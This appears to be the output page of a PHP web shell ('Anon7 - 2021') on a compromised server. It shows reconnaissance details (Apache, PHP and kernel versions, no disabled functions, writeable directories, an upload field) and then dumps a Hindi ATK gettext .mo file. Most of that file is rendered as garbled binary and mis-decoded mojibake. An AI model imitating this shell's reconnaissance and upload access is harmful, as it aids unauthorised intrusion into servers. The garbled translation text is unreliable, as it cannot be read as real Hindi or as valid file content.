KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/hi/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/hi/LC_MESSAGES/atk10.mo
▐Х|№з▄x
y
Р
б
╢
╞
╪
ш
#!E dЕб║C╦	-4GО|?
:K
<Ж
7├
4√
,0$]В@Ф
╒5у'%#M"q(Ф=╜6√*2]o	uЛСЮзо╢	╝╞
╓
ф	Є
№
"'.=LYbu{ИПЫвз
н╕┐╟╓█сЁ°■		(2>C
LZ	`
j
xГРЬй╣	╩
╘
▀ъЎ	■
	&0
6AUfyВ
ЗХЮз
м╖┐╚Р╧/`)РB║(¤2&2YEМ^╥O1LБU╬R$Ew/╜ЭэЛиТ(Ц╗╝RЩ┬йЯlЯ|мq) ,Ы │╚ |!ЬЩ!"6"iY"G├"P#h\#Ш┼#Щ^$n°$g%Д%Ч%н%	╔%╙%є%	&&/&?&Y&w&О&"и&"╦&.ю&('F'S'(c'(М'%╡'"█'■'(:(W(p(Р(Э(│(╔(р(э(.)/)	?)+I)u)В)П)м)╣)═)┌)ў)*(*8*&R*	y*Г*Я*"┐*"т*++&6+(]+Ж+Ъ+%║+р+	,
,,3,M,"a,Д,Ч,,┤,2с,'-<-	R-\-s-"У-╢-├-у-Ў-.![W(Q{otpD_Csk=x)nUuJHe/;|
6<45waSc$1d	GgEX+
b 8F@T3Y.&-R:7hr2mz^Zj0K#VOy?qA]*>f\iM"`BN%I'l9LPv,Accessible DescriptionAccessible LayerAccessible MDI ValueAccessible NameAccessible ParentAccessible RoleAccessible Table CaptionAccessible Table Caption ObjectAccessible Table Column DescriptionAccessible Table Column HeaderAccessible Table Row DescriptionAccessible Table Row HeaderAccessible Table SummaryAccessible ValueDescription of an object, formatted for assistive technology accessEnd indexIs used to notify that the parent has changedIs used to notify that the table caption has changedIs used to notify that the table caption has changed; this property should not be used. accessible-table-caption-object should be used insteadIs used to notify that the table column description has changedIs used to notify that the table column header has changedIs used to notify that the table row description has changedIs used to notify that the table row header has changedIs used to notify that the table summary has changedIs used to notify that the value has changedNumber of Accessible Hypertext LinksNumber of AnchorsObject instance's name formatted for assistive technology accessSelected LinkSpecifies whether the AtkHyperlink object is selectedStart indexThe accessible MDI value of this objectThe accessible layer of this objectThe accessible role of this objectThe end index of the AtkHyperlink objectThe number of anchors associated with the AtkHyperlink objectThe number of links which the current AtkHypertext hasThe start index of the AtkHyperlink objectaccelerator labelalertanimationapplicationarrowautocompletecalendarcanvascaptionchartcheck boxcheck menu itemcolor choosercolumn headercombo boxdateeditordesktop framedesktop icondialdialogdirectory panedocument framedrawing areaedit barembedded componententryfile chooserfillerfontchooserfooterformframeglass paneheaderheadinghtml containericonimageinternal frameinvalidlabellayered panelistlist itemmenumenu barmenu itemoption panepagepage tabpage tab listpanelparagraphpassword textpopup menuprogress barpush buttonradio buttonradio menu itemredundant objectroot panerow headerscroll barscroll panesectionseparatorsliderspin buttonsplit panestatusbartabletable celltable column headertable row headertear off menu itemterminaltexttoggle buttontool bartool tiptreetree tableunknownviewportwindowProject-Id-Version: atk.HEAD.hi
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2006-08-21 20:28+0100
PO-Revision-Date: 2006-06-20 13:30+0530
Last-Translator: Rajesh Ranjan <rranjan@redhat.com>
Language-Team: Hindi <fedora-trans-hi@redhat.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: KBabel 1.9.1
Plural-Forms: nplurals=2; plural=(n!=1);





рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╡рд░реНрдгрдирдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдкрд░рддрдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдПрдордбреАрдЖрдИ рдореВрд▓реНрдпрдкрдВрд╣реБрдЪрдпреЛрдЧреНрдп рдирд╛рдордкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдкреИрд░реЗрдВрдЯрдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рднреВрдорд┐рдХрд╛рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рддрд╛рд▓рд┐рдХрд╛ рд╢реАрд░реНрд╖рдХрдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рддрд╛рд▓рд┐рдХрд╛ рд╢реАрд░реНрд╖рдХ рдСрдмреНрдЬреЗрдХреНрдЯрдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рддрд╛рд▓рд┐рдХрд╛ рдХреЙрд▓рдо рд╡рд░реНрдгрдирдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рддрд╛рд▓рд┐рдХрд╛ рдХреЙрд▓рдо рд╣реЗрдбрд░рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рддрд╛рд▓рд┐рдХрд╛ рдкрдВрдХреНрддрд┐ рд╡рд░реНрдгрдирдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рддрд╛рд▓рд┐рдХрд╛ рдкрдВрдХреНрддрд┐ рд╣реЗрдбрд░рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рддрд╛рд▓рд┐рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдореВрд▓реНрдпрдЕрд╕рд┐рд╕реНрдЯрд┐рд╡ рддрдХрдиреЙрд▓рд╛рдЬрд╝реА рдкрдБрд╣реБрдЪ рд╣реЗрддреБ рдлреЙрд░реНрдореЗрдЯреЗрдб рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рд╡рд░реНрдгрдирдЕрдВрддрд┐рдо рд╕реВрдЪреАрдкреИрд░реЗрдВрдЯ рдмрджрд▓ рдЪреБрдХрд╛ рд╣реИ рдпрд╣ рдмрддрд╛рдиреЗ рд╣реЗрддреБ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрддрд╛ рд╣реИрддрд╛рд▓рд┐рдХрд╛ рд╢реАрд░реНрд╖рдХ рдмрджрд▓ рдЪреБрдХрд╛ рд╣реИ рдпрд╣ рдмрддрд╛рдиреЗ рд╣реЗрддреБ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрддрд╛ рд╣реИрддрд╛рд▓рд┐рдХрд╛ рд╢реАрд░реНрд╖рдХ рдмрджрд▓ рдЪреБрдХрд╛ рд╣реИ рдпрд╣ рдмрддрд╛рдиреЗ рд╣реЗрддреБ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрддрд╛ рд╣реИ, рдпрд╣ рдЧреБрдг рдЙрдкрдпреЛрдЧ рдореЗрдВ рдирд╣реАрдВ рд▓реЗрдирд╛ рдЪрд╛рд╣рд┐рдП. рдмрджрд▓реЗ рдореЗрдВ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп-рддрд╛рд▓рд┐рдХрд╛-рд╢реАрд░реНрд╖рдХ-рдСрдмреНрдЬреЗрдХреНрдЯ рдЙрдкрдпреЛрдЧ рдореЗрдВ рд▓реЗрдирд╛ рдЪрд╛рд╣рд┐рдПрдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рддрд╛рд▓рд┐рдХрд╛ рдХреЙрд▓рдо рд╡рд░реНрдгрди рдмрджрд▓ рдЪреБрдХрд╛ рд╣реИ рдпрд╣ рдмрддрд╛рдиреЗ рд╣реЗрддреБ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрддрд╛ рд╣реИрддрд╛рд▓рд┐рдХрд╛ рдХреЙрд▓рдо рд╣реЗрдбрд░ рдмрджрд▓ рдЪреБрдХрд╛ рд╣реИ рдпрд╣ рдмрддрд╛рдиреЗ рд╣реЗрддреБ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрддрд╛ рд╣реИрдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рддрд╛рд▓рд┐рдХрд╛ рдкрдВрдХреНрддрд┐ рд╡рд░реНрдгрди рдмрджрд▓ рдЪреБрдХрд╛ рд╣реИ рдпрд╣ рдмрддрд╛рдиреЗ рд╣реЗрддреБ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрддрд╛ рд╣реИрддрд╛рд▓рд┐рдХрд╛ рдкрдВрдХреНрддрд┐ рд╣реЗрдбрд░ рдмрджрд▓ рдЪреБрдХрд╛ рд╣реИ рдпрд╣ рдмрддрд╛рдиреЗ рд╣реЗрддреБ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрддрд╛ рд╣реИрддрд╛рд▓рд┐рдХрд╛ рдХреЙрд▓рдо рд╕рд╛рд░рд╛рдВрд╢ рдмрджрд▓ рдЪреБрдХрд╛ рд╣реИ рдпрд╣ рдмрддрд╛рдиреЗ рд╣реЗрддреБ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрддрд╛ рд╣реИрдореВрд▓реНрдп рдмрджрд▓ рдЪреБрдХрд╛ рд╣реИ рдпрд╣ рдмрддрд╛рдиреЗ рд╣реЗрддреБ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрддрд╛ рд╣реИрдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣рд╛рдпрдкрд░рдЯреЗрдХреНрд╕реНрдЯ рд▓рд┐рдВрдХреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛рдПрдВрдХрд░реНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛рдЕрд╕рд┐рд╕реНрдЯрд┐рд╡ рддрдХрдиреЙрд▓рд╛рдЬрд╝реА рдкрдБрд╣реБрдЪ рд╣реЗрддреБ рдлреЙрд░реНрдореЗрдЯреЗрдб рдСрдмреНрдЬреЗрдХреНрдЯ рдЗрдВрд╕реНрдЯреИрдиреНрд╕ рдХрд╛ рдирд╛рдордЪрдпрдирд┐рдд рд▓рд┐рдВрдХрдЙрд▓реНрд▓реЗрдЦрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдЯреАрдХреЗ-рд╣рд╛рдпрдкрд░рд▓рд┐рдВрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдЪрдпрдирд┐рдд рд╣реИрдкреНрд░рд╛рд░рдВрдн рд╕реВрдЪреАрдЗрд╕ рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдПрдордбреАрдЖрдИ рдореВрд▓реНрдпрдЗрд╕ рд╡рд╕реНрддреБ рдХреА рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдкрд░рддрдЗрд╕ рд╡рд╕реНрддреБ рдХреА рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рднреВрдорд┐рдХрд╛рдПрдЯреАрдХреЗ-рд╣рд╛рдпрдкрд░рд▓рд┐рдВрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреА рдЕрдВрддрд┐рдо рд╕реВрдЪреАрдПрдЯреАрдХреЗ-рд╣рд╛рдпрдкрд░рд▓рд┐рдВрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд╕рд╛рде рд╕рдореНрдмрджреНрдз рдПрдВрдХрд░реНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛рд▓рд┐рдВрдХреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛ рдЬреЛ рдХрд┐ рд╡рд░реНрддрдорд╛рди рдПрдЯреАрдХреЗ-рд╣рд╛рдпрдкрд░рдЯреЗрдХреНрд╕реНрдЯ рдореЗрдВ рд╣реИрдВрдПрдЯреАрдХреЗ-рд╣рд╛рдпрдкрд░рд▓рд┐рдВрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдкреНрд░рд╛рд░рдВрдн рд╕реВрдЪреАрддреНрд╡рд░рдХ рд▓реЗрдмрд▓рд╕рд╛рд╡рдзрд╛рдирдПрдиреАрдореЗрд╢рдирдЕрдиреБрдкреНрд░рдпреЛрдЧрддреАрд░рд╕реНрд╡рддрдГ-рдкреВрд░реНрдгрдХреИрд▓реЗрдВрдбрд░рдХреИрдирд╡рд╛рд╕рдХреИрдкреНрд╢рдирдЪрд╛рд░реНрдЯрдЬрд╛рдВрдЪ рдкреЗрдЯреАрдЪреЗрдХ рдореЗрдиреВ рдорджрд░рдВрдЧ рдЪрдпрдирдХрдХреЙрд▓рдо рд╣реЗрдбрд░рдХреЙрдореНрдмреЛ рдмрдХреНрд╕рд╛рддрд┐рдерд┐-рд╕рдореНрдкрд╛рджрдХрдбреЗрд╕реНрдХрдЯреЙрдк рд░реВрдкрд░реЗрдЦрд╛рдбреЗрд╕реНрдХрдЯреЙрдк рдЪрд┐рд╣реНрдирдбреЙрдпрд▓рд╕рдВрд╡рд╛рджрдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдлрд▓рдХрджрд╕реНрддрд╛рд╡реЗрдЬ рдврд╛рдВрдЪрд╛рдЖрд░реЗрдЦрдг-рдХреНрд╖реЗрддреНрд░рд╕рдВрдкрд╛рджрди рдкрдЯреНрдЯреАрдПрдВрдмреЗрдбреЗрдб рдШрдЯрдХрдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдлрд╝рд╛рдЗрд▓-рдЪрдпрдирдХрднрд░рдиреЗрд╡рд╛рд▓рд╛рдлрд╝реЙрдиреНрдЯ-рдЪрдпрдирдХрдлреБрдЯрд░рдкреНрд░рдкрддреНрд░рд░реВрдкрд░реЗрдЦрд╛рдХрд╛рдБрдЪ-рдлрд▓рдХрд╣реЗрдбрд░рд╢реАрд░реНрд╖рдХрдПрдЪрдЯреАрдПрдордПрд▓-рдХрдиреНрдЯреЗрдирд░рдЪрд┐рд╣реНрдирдЫрд╡рд┐рдЖрдиреНрддрд░рд┐рдХ рд░реВрдкрд░реЗрдЦрд╛рдЕрд╡реИрдзрд▓реЗрдмрд▓рд╕реНрддрд░рд┐рдд рдлрд▓рдХрд╕реВрдЪреАрд╕реВрдЪреА рдорджрдореЗрдиреВрдореЗрдиреВ рдкрдЯреНрдЯреАрдореЗрдиреВ рдорджрд╡рд┐рдХрд▓реНрдк рдлрд▓рдХрдкреГрд╖реНрдардкреГрд╖реНрда рдЯреИрдмрдкреГрд╖реНрда рдЯреИрдм рд╕реВрдЪреАрдкрдЯрд▓рдкреИрд░рд╛рдЧреНрд░рд╛рдлрдкрд╛рд╕рд╡рд░реНрдб рдкрд╛рдардкреЙрдкрдЕрдк рдореЗрдиреНрдпреВрдкреНрд░рдЧрддрд┐ рдкрдЯреНрдЯреАрдкреБрд╢ рдмрдЯрдирд░реЗрдбрд┐рдпреЛ рдмрдЯрдирд░реЗрдбрд┐рдпреЛ рдореЗрдиреВ рдорджрд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд╕реНрддреБрд░реВрдЯ рдлрд▓рдХрдкрдВрдХреНрддрд┐ рд╣реЗрдбрд░рд╕реНрдХреНрд░реЙрд▓ рдкрдЯреНрдЯреАрд╕реНрдХреНрд░реЙрд▓ рдлрд▓рдХрдЦрдВрдбрд╡рд┐рднрд╛рдЬрдХрд╕реНрд▓рд╛рдЗрдбрд░рд╕реНрдкрд┐рди рдмрдЯрдирдХрдЯрд╛ рдлрд▓рдХрд╕реНрдерд┐рддрд┐-рдкрдЯреНрдЯреАрддрд╛рд▓рд┐рдХрд╛рддрд╛рд▓рд┐рдХрд╛ рд╕реЗрд▓рддрд╛рд▓рд┐рдХрд╛ рдХреЙрд▓рдо рд╣реЗрдбрд░рддрд╛рд▓рд┐рдХрд╛ рдкрдВрдХреНрддрд┐ рд╣реЗрдбрд░рдЯреАрдпрд░ рдСрдл рдореЗрдиреВ рдорджрдЯрд░реНрдорд┐рдирд▓рдкрд╛рдардЯреЙрдЧрд▓ рдмрдЯрдирдЙрдкрдХрд░рдг рдкрдЯреНрдЯреАрдЙрдкрдХрд░рдг рдпреБрдХреНрддрд┐рдЯреНрд░реАрдЯреНрд░реА-рддрд╛рд▓рд┐рдХрд╛рдЕрдЬреНрдЮрд╛рддрд╡реНрдпреВрдкреЛрд░реНрдЯрд╡рд┐рдВрдбреЛ

Anon7 - 2021